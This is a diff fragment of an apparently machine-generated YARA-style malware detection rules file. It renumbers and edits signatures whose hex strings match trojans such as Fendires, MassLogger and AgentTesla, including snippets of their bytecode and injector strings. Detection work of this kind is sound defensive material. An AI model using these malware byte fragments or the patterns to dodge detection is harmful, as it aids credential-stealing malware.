1)*20515+(#a_01_1 & 1)*26222+(#a_01_3 & 1)*71) >=3 } -rule _InfrastructureShared_27965{ +rule _InfrastructureShared_29709{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364550,7 +387296,7 @@ rule _InfrastructureShared_27965{ ((#a_01_0 & 1)*19491+(#a_01_1 & 1)*28525+(#a_01_3 & 1)*105) >=4 } -rule _InfrastructureShared_27966{ +rule _InfrastructureShared_29710{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -364562,7 +387308,7 @@ rule _InfrastructureShared_27966{ ((#a_01_0 & 1)*20259+(#a_01_2 & 1)*10+(#a_01_3 & 1)*10) >=30 } -rule _InfrastructureShared_27967{ +rule _InfrastructureShared_29711{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,28 00 28 00 05 00 21 " @@ -364575,7 +387321,7 @@ rule _InfrastructureShared_27967{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*65+(#a_01_2 & 1)*1+(#a_01_3 & 1)*21587) >=40 } -rule _InfrastructureShared_27968{ +rule _InfrastructureShared_29712{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 04 00 21 " @@ -364587,7 +387333,7 @@ rule _InfrastructureShared_27968{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*-30720+(#a_01_3 & 1)*17748) >=1 } -rule _InfrastructureShared_27969{ +rule _InfrastructureShared_29713{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 05 00 21 " @@ -364600,7 +387346,7 @@ rule _InfrastructureShared_27969{ ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*8300+(#a_01_3 & 1)*99+(#a_01_4 & 1)*29797) >=3 } -rule _InfrastructureShared_27970{ +rule _InfrastructureShared_29714{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -364616,7 +387362,7 @@ rule _InfrastructureShared_27970{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*17166+(#a_01_3 & 1)*10+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*10+(#a_01_7 & 1)*0) >=8 } -rule _InfrastructureShared_27971{ +rule _InfrastructureShared_29715{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -364629,7 +387375,7 @@ rule _InfrastructureShared_27971{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*26988+(#a_01_2 & 1)*28530+(#a_01_3 & 1)*3071) >=30 } -rule _InfrastructureShared_27972{ +rule _InfrastructureShared_29716{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " @@ -364640,18 +387386,29 @@ rule _InfrastructureShared_27972{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*-1599) >=2 } -rule _InfrastructureShared_27973{ +rule _InfrastructureShared_29717{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 03 00 21 " strings : $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 46 65 6e 64 69 72 65 73 00 01 00 36 5c 00 66 00 65 00 72 00 69 00 61 00 6e 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 44 00 65 00 66 00 65 00 6e 00 64 00 65 00 72 } //18467 - $a_01_2 = {00 65 00 01 00 1e 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 66 00 65 00 72 00 69 00 61 00 6e 00 01 00 2a 77 00 77 00 77 00 2e 00 62 00 61 00 6e 00 63 00 6f 00 66 00 61 00 6c 00 61 00 62 00 65 00 6c 00 6c 00 61 00 2e 00 63 00 6c 00 00 00 61 b6 00 00 04 00 04 00 03 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 42 65 65 72 69 } //101 + $a_01_2 = {00 65 00 01 00 1e 53 00 6f 00 66 00 74 00 77 00 61 00 72 00 65 00 5c 00 66 00 65 00 72 00 69 00 61 00 6e 00 01 00 2a 77 00 77 00 77 00 2e 00 62 00 61 00 6e 00 63 00 6f 00 66 00 61 00 6c 00 61 00 62 00 65 00 6c 00 6c 00 61 00 2e 00 63 00 6c 00 00 00 61 b6 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 65 6e 70 61 6b 2e 4d } //101 condition: ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*101) >=2 } -rule _InfrastructureShared_27974{ +rule _InfrastructureShared_29718{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " + + strings : + $a_01_0 = {4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 65 6e 70 61 6b 2e 4d 58 21 4d 54 42 00 01 00 0c 4a 4c 49 5f 4d 65 6d 41 6c 6c 6f 63 01 00 6b 6a 65 6e 6b 69 6e 73 5c 77 6f 72 6b 73 70 61 63 65 5c 38 2d 32 2d } //21539 + $a_01_1 = {6c 64 2d 77 69 6e 64 6f 77 73 2d 61 6d 64 36 34 2d 63 79 67 77 69 6e 5c 6a 64 6b 38 75 32 38 31 5c 38 38 30 5c 62 75 69 6c 64 5c 77 69 6e 64 6f 77 73 2d 61 6d 64 36 34 5c 6a 64 6b 5c 6f 62 6a 73 5c 6a 6a 73 5f 6f 62 6a 73 5c 6a 6a 73 2e 70 64 62 01 00 0d 31 2e 38 2e 30 5f 32 38 31 2d 62 30 39 00 00 61 b6 00 00 04 } //30050 + condition: + ((#a_01_0 & 1)*21539+(#a_01_1 & 1)*30050) >=3 + +} +rule _InfrastructureShared_29719{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 03 00 21 " @@ -364663,7 +387420,7 @@ rule _InfrastructureShared_27974{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*8308+(#a_01_2 & 1)*13166) >=4 } -rule _InfrastructureShared_27975{ +rule _InfrastructureShared_29720{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364676,7 +387433,7 @@ rule _InfrastructureShared_27975{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*25449+(#a_01_2 & 1)*5+(#a_01_3 & 1)*21840) >=4 } -rule _InfrastructureShared_27976{ +rule _InfrastructureShared_29721{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 03 00 21 " @@ -364688,7 +387445,7 @@ rule _InfrastructureShared_27976{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*105+(#a_01_2 & 1)*30583) >=5 } -rule _InfrastructureShared_27977{ +rule _InfrastructureShared_29722{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -364701,7 +387458,7 @@ rule _InfrastructureShared_27977{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*108+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_27978{ +rule _InfrastructureShared_29723{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -364715,7 +387472,7 @@ rule _InfrastructureShared_27978{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*16658+(#a_01_2 & 1)*0+(#a_01_3 & 1)*14958+(#a_01_4 & 1)*25710) >=5 } -rule _InfrastructureShared_27979{ +rule _InfrastructureShared_29724{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 08 00 21 " @@ -364732,7 +387489,7 @@ rule _InfrastructureShared_27979{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*10+(#a_01_5 & 1)*10+(#a_01_6 & 1)*0+(#a_01_7 & 1)*25391) >=16 } -rule _InfrastructureShared_27980{ +rule _InfrastructureShared_29725{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,16 00 15 00 04 00 21 " @@ -364745,7 +387502,7 @@ rule _InfrastructureShared_27980{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*24428+(#a_01_2 & 1)*18467+(#a_01_3 & 1)*25094) >=21 } -rule _InfrastructureShared_27981{ +rule _InfrastructureShared_29726{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,2d 00 2d 00 0c 00 21 " @@ -364762,7 +387519,7 @@ rule _InfrastructureShared_27981{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*25094+(#a_01_2 & 1)*16675+(#a_01_4 & 1)*67+(#a_01_6 & 1)*55+(#a_01_8 & 1)*69+(#a_01_9 & 1)*30789+(#a_01_11 & 1)*1) >=45 } -rule _InfrastructureShared_27982{ +rule _InfrastructureShared_29727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,05 00 05 00 05 00 21 " @@ -364774,7 +387531,7 @@ rule _InfrastructureShared_27982{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*67+(#a_01_4 & 1)*55) >=5 } -rule _InfrastructureShared_27983{ +rule _InfrastructureShared_29728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -364787,7 +387544,7 @@ rule _InfrastructureShared_27983{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*18698+(#a_01_2 & 1)*101+(#a_01_3 & 1)*101) >=30 } -rule _InfrastructureShared_27984{ +rule _InfrastructureShared_29729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 21 " @@ -364797,7 +387554,7 @@ rule _InfrastructureShared_27984{ ((#a_01_0 & 1)*18467) >=1 } -rule _InfrastructureShared_27985{ +rule _InfrastructureShared_29730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364810,7 +387567,7 @@ rule _InfrastructureShared_27985{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*22132+(#a_01_2 & 1)*12082+(#a_01_3 & 1)*30063) >=4 } -rule _InfrastructureShared_27986{ +rule _InfrastructureShared_29731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364823,7 +387580,7 @@ rule _InfrastructureShared_27986{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*24862+(#a_01_2 & 1)*26479+(#a_01_3 & 1)*28488) >=4 } -rule _InfrastructureShared_27987{ +rule _InfrastructureShared_29732{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 07 00 21 " @@ -364838,7 +387595,7 @@ rule _InfrastructureShared_27987{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29810+(#a_01_2 & 1)*20817+(#a_01_3 & 1)*21324+(#a_01_4 & 1)*67+(#a_01_5 & 1)*29801) >=6 } -rule _InfrastructureShared_27988{ +rule _InfrastructureShared_29733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,0d 00 0d 00 05 00 21 " @@ -364850,7 +387607,7 @@ rule _InfrastructureShared_27988{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*-1+(#a_01_3 & 1)*29485) >=13 } -rule _InfrastructureShared_27989{ +rule _InfrastructureShared_29734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -364863,7 +387620,7 @@ rule _InfrastructureShared_27989{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*76+(#a_01_2 & 1)*4+(#a_01_3 & 1)*16675) >=30 } -rule _InfrastructureShared_27990{ +rule _InfrastructureShared_29735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 21 " @@ -364875,7 +387632,7 @@ rule _InfrastructureShared_27990{ ((#a_01_0 & 1)*16675+(#a_01_2 & 1)*48+(#a_01_3 & 1)*24914) >=4 } -rule _InfrastructureShared_27991{ +rule _InfrastructureShared_29736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 06 00 21 " @@ -364888,7 +387645,7 @@ rule _InfrastructureShared_27991{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28524+(#a_01_3 & 1)*6+(#a_01_4 & 1)*16725) >=4 } -rule _InfrastructureShared_27992{ +rule _InfrastructureShared_29737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 04 00 21 " @@ -364901,7 +387658,7 @@ rule _InfrastructureShared_27992{ ((#a_01_0 & 1)*20515+(#a_01_1 & 1)*111+(#a_01_2 & 1)*18507+(#a_01_3 & 1)*30068) >=6 } -rule _InfrastructureShared_27993{ +rule _InfrastructureShared_29738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,07 00 07 00 07 00 21 " @@ -364917,7 +387674,7 @@ rule _InfrastructureShared_27993{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*29540+(#a_01_2 & 1)*18467+(#a_01_3 & 1)*2816+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*0) >=7 } -rule _InfrastructureShared_27994{ +rule _InfrastructureShared_29739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,08 00 08 00 08 00 21 " @@ -364934,7 +387691,7 @@ rule _InfrastructureShared_27994{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2816+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*0+(#a_01_5 & 1)*24946+(#a_01_6 & 1)*14958+(#a_01_7 & 1)*29797) >=8 } -rule _InfrastructureShared_27995{ +rule _InfrastructureShared_29740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,09 00 09 00 09 00 21 " @@ -364945,12 +387702,12 @@ rule _InfrastructureShared_27995{ $a_01_3 = {00 0a 00 25 24 44 41 34 33 46 45 30 44 2d 42 34 41 31 2d 34 46 34 38 2d 41 44 31 35 2d 31 42 39 45 45 33 46 41 42 46 39 34 01 00 07 54 6f 57 69 6e 33 32 01 00 08 47 65 74 50 69 78 65 6c 01 00 0d 53 } //21581 $a_01_4 = {65 6e 64 4c 61 79 6f 75 74 01 00 0c 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0f 56 75 6c 6b 61 6e 50 72 6f 74 65 63 74 6f 72 01 00 1a 56 75 6c 6b 61 6e 50 72 6f 74 65 63 74 6f 72 2e 50 72 6f 70 65 72 74 69 65 73 00 00 61 b9 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e 3a 74 74 64 69 6e 6a 65 63 74 2e 65 78 65 00 0a 00 0d 54 54 44 49 6e 6a } //29557 $a_01_5 = {2e 70 64 62 0a 00 12 54 54 44 49 6e 6a 65 63 74 20 4c 61 75 6e 63 68 65 72 0a 00 1e 4e 69 72 76 61 6e 61 20 54 54 44 52 65 63 6f 72 64 43 50 55 20 53 69 6d 75 6c 61 74 6f 72 0a 00 54 54 00 69 00 6d 00 65 00 20 00 54 00 72 00 61 00 76 00 65 00 72 00 20 00 44 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 20 00 41 00 70 00 70 00 6c 00 69 00 63 } //25445 - $a_01_7 = {00 6f 00 6e 00 20 00 49 00 6e 00 6a 00 65 00 63 00 74 00 6f 00 72 00 00 00 61 ba 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 52 49 54 53 45 52 56 49 43 45 21 43 4c 45 41 4e 00 01 00 29 45 72 72 6f 72 21 00 4c 6f 61 64 20 6c 69 62 72 61 72 79 3a 20 2e 5c 43 6f 64 65 4c 69 62 2e 64 6c 6c 00 43 45 6e 74 72 79 01 00 } //116 + $a_01_7 = {00 6f 00 6e 00 20 00 49 00 6e 00 6a 00 65 00 63 00 74 00 6f 00 72 00 00 00 61 ba 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 53 4c 4f 34 35 00 01 00 63 19 8d 03 00 00 1b 25 16 06 fe 06 43 00 00 06 73 40 00 00 0a a2 25 17 06 fe 06 44 00 00 06 73 } //116 condition: ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*29268+(#a_01_2 & 1)*7+(#a_01_3 & 1)*21581+(#a_01_4 & 1)*29557+(#a_01_5 & 1)*25445+(#a_01_7 & 1)*116) >=9 } -rule _InfrastructureShared_27996{ +rule _InfrastructureShared_29741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,10 00 10 00 07 00 21 " @@ -364958,25 +387715,37 @@ rule _InfrastructureShared_27996{ $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 31 30 21 4d 54 42 00 0a 00 25 24 44 41 34 33 46 45 30 44 2d 42 34 41 31 2d 34 46 34 38 2d 41 44 31 35 2d 31 42 39 45 45 33 46 41 42 46 39 34 01 00 07 54 6f 57 69 6e 33 } //18467 $a_01_2 = {74 50 69 78 65 6c 01 00 0d 53 75 73 70 65 6e 64 4c 61 79 6f 75 74 01 00 0c 52 65 73 75 6d 65 4c 61 79 6f 75 74 01 00 0f 56 75 6c 6b 61 6e 50 72 6f 74 65 63 74 6f 72 01 00 1a 56 75 6c 6b 61 6e 50 72 6f 74 65 63 74 6f 72 2e 50 72 6f 70 65 72 74 69 65 73 00 00 61 b9 00 00 1e 00 1e 00 04 00 21 23 4f 46 4e } //18184 $a_01_3 = {64 69 6e 6a 65 63 74 2e 65 78 65 00 0a 00 0d 54 54 44 49 6e 6a 65 63 74 2e 70 64 62 0a 00 12 54 54 44 49 6e 6a 65 63 74 20 4c 61 75 6e 63 68 65 72 0a 00 1e 4e 69 72 76 61 6e 61 20 54 54 44 52 65 63 6f 72 64 43 50 55 20 53 69 6d 75 6c 61 74 6f 72 0a 00 54 54 00 69 00 6d 00 65 00 20 00 54 00 72 00 61 00 76 00 65 00 72 00 20 00 44 00 65 00 62 00 75 } //29754 - $a_01_5 = {00 6e 00 67 00 20 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 49 00 6e 00 6a 00 65 00 63 00 74 00 6f 00 72 00 00 00 61 ba 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 52 49 54 53 45 52 56 49 43 45 21 43 4c 45 41 4e 00 01 00 29 45 72 72 6f 72 21 00 4c 6f 61 64 20 6c 69 62 72 61 72 79 } //103 - $a_01_6 = {5c 43 6f 64 65 4c 69 62 2e 64 6c 6c 00 43 45 6e 74 72 79 01 00 38 6d 00 61 00 69 00 6c 00 74 00 6f 00 3a 00 53 00 75 00 70 00 70 00 6f 00 } //8250 䍜摯䱥扩搮汬䌀湅牴Ź㠀mailto:Suppo + $a_01_5 = {00 6e 00 67 00 20 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 49 00 6e 00 6a 00 65 00 63 00 74 00 6f 00 72 00 00 00 61 ba 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 53 4c 4f 34 35 00 01 00 63 19 8d 03 00 00 1b 25 } //103 + $a_01_6 = {06 43 00 00 06 73 40 00 00 0a a2 25 17 06 fe 06 44 00 00 06 73 40 00 00 0a a2 25 18 06 fe 06 45 00 00 06 73 40 00 00 0a a2 0d 06 09 07 9a 7d 4a 00 00 04 06 06 fe 06 46 00 00 06 73 41 00 00 0a 7d 4b 00 00 04 08 13 06 11 06 2c 0b 00 06 6f 47 00 00 06 00 00 2b 09 00 06 01 00 25 24 44 37 43 34 32 41 33 36 2d 46 38 39 31 2d 34 45 30 42 2d 41 39 35 36 2d 38 43 38 42 31 39 44 37 45 34 32 39 00 00 61 ba 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 52 49 54 53 45 52 56 49 43 45 21 43 4c 45 41 4e 00 01 00 29 45 72 72 6f 72 21 00 4c 6f 61 64 20 6c 69 62 72 61 72 79 3a 20 2e 5c 43 6f 64 65 4c 69 62 2e 64 6c 6c 00 43 45 6e 74 72 79 01 00 38 6d 00 61 00 69 00 6c 00 74 00 6f 00 3a 00 53 00 75 00 70 00 70 00 6f 00 72 00 74 00 40 00 72 00 69 00 74 00 73 00 65 00 72 00 } //1558 condition: - ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*18184+(#a_01_3 & 1)*29754+(#a_01_5 & 1)*103+(#a_01_6 & 1)*8250) >=16 + ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*18184+(#a_01_3 & 1)*29754+(#a_01_5 & 1)*103+(#a_01_6 & 1)*1558) >=16 } -rule _InfrastructureShared_27997{ +rule _InfrastructureShared_29742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " strings : $a_01_0 = {4e 3a 74 74 64 69 6e 6a 65 63 74 2e 65 78 65 00 0a 00 0d 54 54 44 49 6e 6a 65 63 74 2e 70 64 62 0a 00 12 54 54 44 49 6e 6a 65 63 74 20 4c 61 75 6e 63 68 65 72 0a 00 1e 4e 69 72 76 61 6e 61 20 54 54 44 52 65 63 } //20259 $a_01_1 = {43 50 55 20 53 69 6d 75 6c 61 74 6f 72 0a 00 54 54 00 69 00 6d 00 65 00 20 00 54 00 72 00 61 00 76 00 65 00 72 00 20 00 44 00 65 00 62 00 75 00 67 00 67 00 69 00 6e 00 67 00 20 00 41 00 70 00 70 00 6c 00 69 00 63 00 61 00 74 00 69 00 6f 00 6e 00 20 00 49 00 6e 00 6a 00 65 00 63 00 74 00 6f 00 72 00 } //29295 偃⁕楓畭慬潴ੲ吀Time Traver Debugging Application Injector - $a_01_2 = {ba 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 52 49 54 53 45 52 56 49 43 45 21 43 4c 45 41 4e 00 01 00 29 45 72 72 6f 72 21 00 4c 6f 61 64 20 6c 69 62 72 61 72 79 3a 20 2e 5c 43 6f 64 65 4c 69 62 2e 64 6c 6c 00 43 45 6e 74 72 79 01 00 38 6d 00 61 00 69 00 6c 00 74 00 6f 00 3a 00 53 00 75 } //0 + $a_01_2 = {ba 00 00 02 00 02 00 02 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 53 4c 4f 34 35 00 01 00 63 19 8d 03 00 00 1b 25 16 06 fe 06 43 00 00 06 73 40 00 00 0a a2 25 17 06 fe 06 44 00 00 06 73 40 00 00 0a a2 25 18 06 fe 06 45 00 00 06 73 40 00 00 } //0 + $a_01_3 = {06 09 07 9a 7d 4a 00 00 04 06 06 fe 06 } //-24054 condition: - ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*29295+(#a_01_2 & 1)*0) >=30 + ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*29295+(#a_01_2 & 1)*0+(#a_01_3 & 1)*-24054) >=30 } -rule _InfrastructureShared_27998{ +rule _InfrastructureShared_29743{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 02 00 21 " + + strings : + $a_01_0 = {54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 61 73 73 4c 6f 67 67 65 72 2e 53 4c 4f 34 35 00 01 00 63 19 8d 03 00 00 1b 25 16 06 fe 06 43 00 00 06 73 40 00 00 0a a2 25 17 06 fe 06 44 00 00 06 73 40 00 00 0a a2 25 18 06 fe 06 45 00 00 06 73 40 00 } //18467 + $a_01_1 = {0d 06 09 07 9a 7d 4a 00 00 04 06 06 fe 06 46 00 00 06 73 41 00 00 0a 7d 4b 00 00 04 08 13 06 11 06 2c 0b 00 06 6f 47 00 00 06 00 00 2b 09 00 06 01 00 25 24 44 37 43 34 32 41 33 36 2d 46 38 39 31 2d 34 45 30 42 2d 41 39 35 36 2d 38 43 38 42 31 39 44 37 45 34 32 39 00 00 61 ba 00 00 03 00 03 00 03 00 21 23 48 53 54 52 3a 52 49 54 53 45 52 56 49 43 45 21 43 4c 45 41 4e 00 01 00 29 45 72 72 6f 72 21 00 4c 6f 61 64 20 6c 69 62 72 61 72 79 3a 20 2e 5c 43 6f 64 65 4c 69 62 2e 64 6c 6c 00 } //2560 + condition: + ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*2560) >=2 + +} +rule _InfrastructureShared_29744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -364988,7 +387757,7 @@ rule _InfrastructureShared_27998{ ((#a_01_0 & 1)*18467+(#a_01_1 & 1)*117+(#a_01_2 & 1)*17266) >=3 } -rule _InfrastructureShared_27999{ +rule _InfrastructureShared_29745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 04 00 21 " @@ -365000,7 +387769,7 @@ rule _InfrastructureShared_27999{ ((#a_01_0 & 1)*20515+(#a_01_2 & 1)*114+(#a_01_3 & 1)*14932) >=3 } -rule _InfrastructureShared_28000{ +rule _InfrastructureShared_29746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365013,7 +387782,7 @@ rule _InfrastructureShared_28000{ ((#a_01_0 & 1)*16931+(#a_01_1 & 1)*28496+(#a_01_2 & 1)*28265+(#a_01_3 & 1)*25454) >=30 } -rule _InfrastructureShared_28001{ +rule _InfrastructureShared_29747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,67 00 67 00 06 00 21 " @@ -365028,7 +387797,7 @@ rule _InfrastructureShared_28001{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*9581+(#a_01_2 & 1)*25963+(#a_01_3 & 1)*3840+(#a_01_4 & 1)*6+(#a_01_5 & 1)*17996) >=103 } -rule _InfrastructureShared_28002{ +rule _InfrastructureShared_29748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,04 00 04 00 0a 00 21 " @@ -365045,7 +387814,7 @@ rule _InfrastructureShared_28002{ ((#a_01_0 & 1)*21283+(#a_01_1 & 1)*20322+(#a_01_2 & 1)*90+(#a_01_3 & 1)*30322+(#a_01_5 & 1)*83+(#a_01_6 & 1)*14131+(#a_01_7 & 1)*19556+(#a_01_9 & 1)*115) >=4 } -rule _InfrastructureShared_28003{ +rule _InfrastructureShared_29749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,06 00 06 00 06 00 21 " @@ -365059,7 +387828,7 @@ rule _InfrastructureShared_28003{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*28532+(#a_01_3 & 1)*17+(#a_01_4 & 1)*21325+(#a_01_5 & 1)*3328) >=6 } -rule _InfrastructureShared_28004{ +rule _InfrastructureShared_29750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,11 00 11 00 08 00 21 " @@ -365074,7 +387843,7 @@ rule _InfrastructureShared_28004{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*16909+(#a_01_4 & 1)*24832+(#a_01_5 & 1)*0+(#a_01_6 & 1)*6383+(#a_01_7 & 1)*9472) >=17 } -rule _InfrastructureShared_28005{ +rule _InfrastructureShared_29751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365085,7 +387854,7 @@ rule _InfrastructureShared_28005{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*115) >=30 } -rule _InfrastructureShared_28006{ +rule _InfrastructureShared_29752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,02 00 02 00 01 00 21 " @@ -365095,7 +387864,7 @@ rule _InfrastructureShared_28006{ ((#a_01_0 & 1)*21539) >=2 } -rule _InfrastructureShared_28007{ +rule _InfrastructureShared_29753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 21 " @@ -365106,7 +387875,7 @@ rule _InfrastructureShared_28007{ ((#a_01_0 & 1)*18467+(#a_01_2 & 1)*97) >=3 } -rule _InfrastructureShared_28008{ +rule _InfrastructureShared_29754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,15 00 15 00 04 00 21 " @@ -365118,7 +387887,7 @@ rule _InfrastructureShared_28008{ ((#a_01_0 & 1)*16675+(#a_01_1 & 1)*19812+(#a_01_3 & 1)*10) >=21 } -rule _InfrastructureShared_28009{ +rule _InfrastructureShared_29755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 04 00 21 " @@ -365131,7 +387900,7 @@ rule _InfrastructureShared_28009{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*111+(#a_01_2 & 1)*8993+(#a_01_3 & 1)*25965) >=30 } -rule _InfrastructureShared_28010{ +rule _InfrastructureShared_29756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR,1e 00 1e 00 05 00 21 " @@ -365144,7 +387913,7 @@ rule _InfrastructureShared_28010{ ((#a_01_0 & 1)*20259+(#a_01_1 & 1)*25709+(#a_01_2 & 1)*44+(#a_01_4 & 1)*37) >=30 } -rule 